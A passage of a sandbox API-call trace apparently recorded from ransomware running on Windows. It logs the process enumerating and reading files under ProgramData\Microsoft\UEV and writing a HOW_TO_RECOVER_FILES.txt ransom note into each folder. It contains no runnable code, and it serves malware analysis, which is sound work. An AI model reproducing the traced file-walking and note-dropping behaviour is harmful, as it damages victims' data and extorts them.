lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", lpFilePart=0x0) returned 0x41 [0082.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0082.592] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0082.592] GetFileType (hFile=0x76c) returned 0x1 [0082.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0082.593] GetFileType (hFile=0x76c) returned 0x1 [0082.593] GetFileSize (in: hFile=0x76c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xa2e [0082.593] ReadFile (in: hFile=0x76c, lpBuffer=0x32a4090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x32a4090*, lpNumberOfBytesRead=0x1f9edc08*=0xa2e, lpOverlapped=0x0) returned 1 [0082.595] CloseHandle (hObject=0x76c) returned 1 [0082.623] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", lpFilePart=0x0) returned 0x41 [0082.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0082.623] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0082.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0082.625] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", lpFilePart=0x0) returned 0x38 [0082.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0082.625] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), fInfoLevelId=0x0, lpFileInformation=0x331ef58 | out: lpFileInformation=0x331ef58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c)) returned 1 [0083.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0083.042] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", lpFilePart=0x0) returned 0x38 [0083.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0083.710] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0083.710] GetFileType (hFile=0x79c) returned 0x1 [0083.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0083.710] GetFileType (hFile=0x79c) returned 0x1 [0083.710] GetFileSize (in: hFile=0x79c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x37c [0083.710] ReadFile (in: hFile=0x79c, lpBuffer=0x3439390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3439390*, lpNumberOfBytesRead=0x1f9edc08*=0x37c, lpOverlapped=0x0) returned 1 [0083.881] CloseHandle (hObject=0x79c) returned 1 [0083.919] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", lpFilePart=0x0) returned 0x38 [0083.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0083.920] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0083.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0083.922] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0083.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0083.922] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0083.922] GetFileType (hFile=0x79c) returned 0x1 [0083.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0083.922] GetFileType (hFile=0x79c) returned 0x1 [0083.923] WriteFile (in: hFile=0x79c, lpBuffer=0x3359ca8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3359ca8*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0083.924] CloseHandle (hObject=0x79c) returned 1 [0083.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0083.924] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Scripts", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Scripts", lpFilePart=0x0) returned 0x24 [0083.924] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0083.925] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.925] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 1 [0083.925] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0083.925] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0083.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0083.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0083.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0083.925] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Scripts", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Scripts", lpFilePart=0x0) returned 0x24 [0083.926] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0083.926] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.926] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 1 [0083.926] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 0 [0083.926] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0083.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0083.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0083.926] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0083.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0083.926] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\uev\\scripts\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0083.927] GetFileType (hFile=0x79c) returned 0x1 [0084.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0084.197] GetFileType (hFile=0x79c) returned 0x1 [0084.209] WriteFile (in: hFile=0x79c, lpBuffer=0x3519bc0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3519bc0*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0084.210] CloseHandle (hObject=0x79c) returned 1 [0084.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0084.210] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Templates", lpFilePart=0x0) returned 0x26 [0084.210] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0084.211] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.211] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x25ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate.xsd", cAlternateFileName="")) returned 1 [0084.211] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013.xsd", cAlternateFileName="")) returned 1 [0084.211] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 1 [0084.211] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.211] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0084.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0084.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0084.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0084.211] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Templates", lpFilePart=0x0) returned 0x26 [0084.212] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0084.212] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.212] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x25ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate.xsd", cAlternateFileName="")) returned 1 [0084.212] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013.xsd", cAlternateFileName="")) returned 1 [0084.212] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 1 [0084.212] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 0 [0084.212] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0084.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0084.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0084.213] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", lpFilePart=0x0) returned 0x43 [0084.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0084.213] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), fInfoLevelId=0x0, lpFileInformation=0x35292e8 | out: lpFileInformation=0x35292e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x25ec)) returned 1 [0084.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0084.214] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", lpFilePart=0x0) returned 0x43 [0084.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0084.214] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0084.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0084.216] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", lpFilePart=0x0) returned 0x47 [0084.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0084.216] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), fInfoLevelId=0x0, lpFileInformation=0x352bb30 | out: lpFileInformation=0x352bb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c20)) returned 1 [0084.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0084.216] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", lpFilePart=0x0) returned 0x47 [0084.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0084.216] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0084.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0084.219] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", lpFilePart=0x0) returned 0x48 [0084.219] SetThreadErrorMode (dwNewMode=0x1, 